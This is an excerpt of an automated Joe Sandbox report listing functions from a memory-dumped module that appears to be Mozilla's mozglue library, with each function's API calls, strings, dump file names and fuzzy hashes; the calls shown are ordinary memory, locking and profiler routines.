moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

<jemalloc>, xrefs: 6C690D92, 6C690DB9
: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

-%llu, xrefs: 6C6A4733
profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

-%llu, xrefs: 6C6A4733
profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
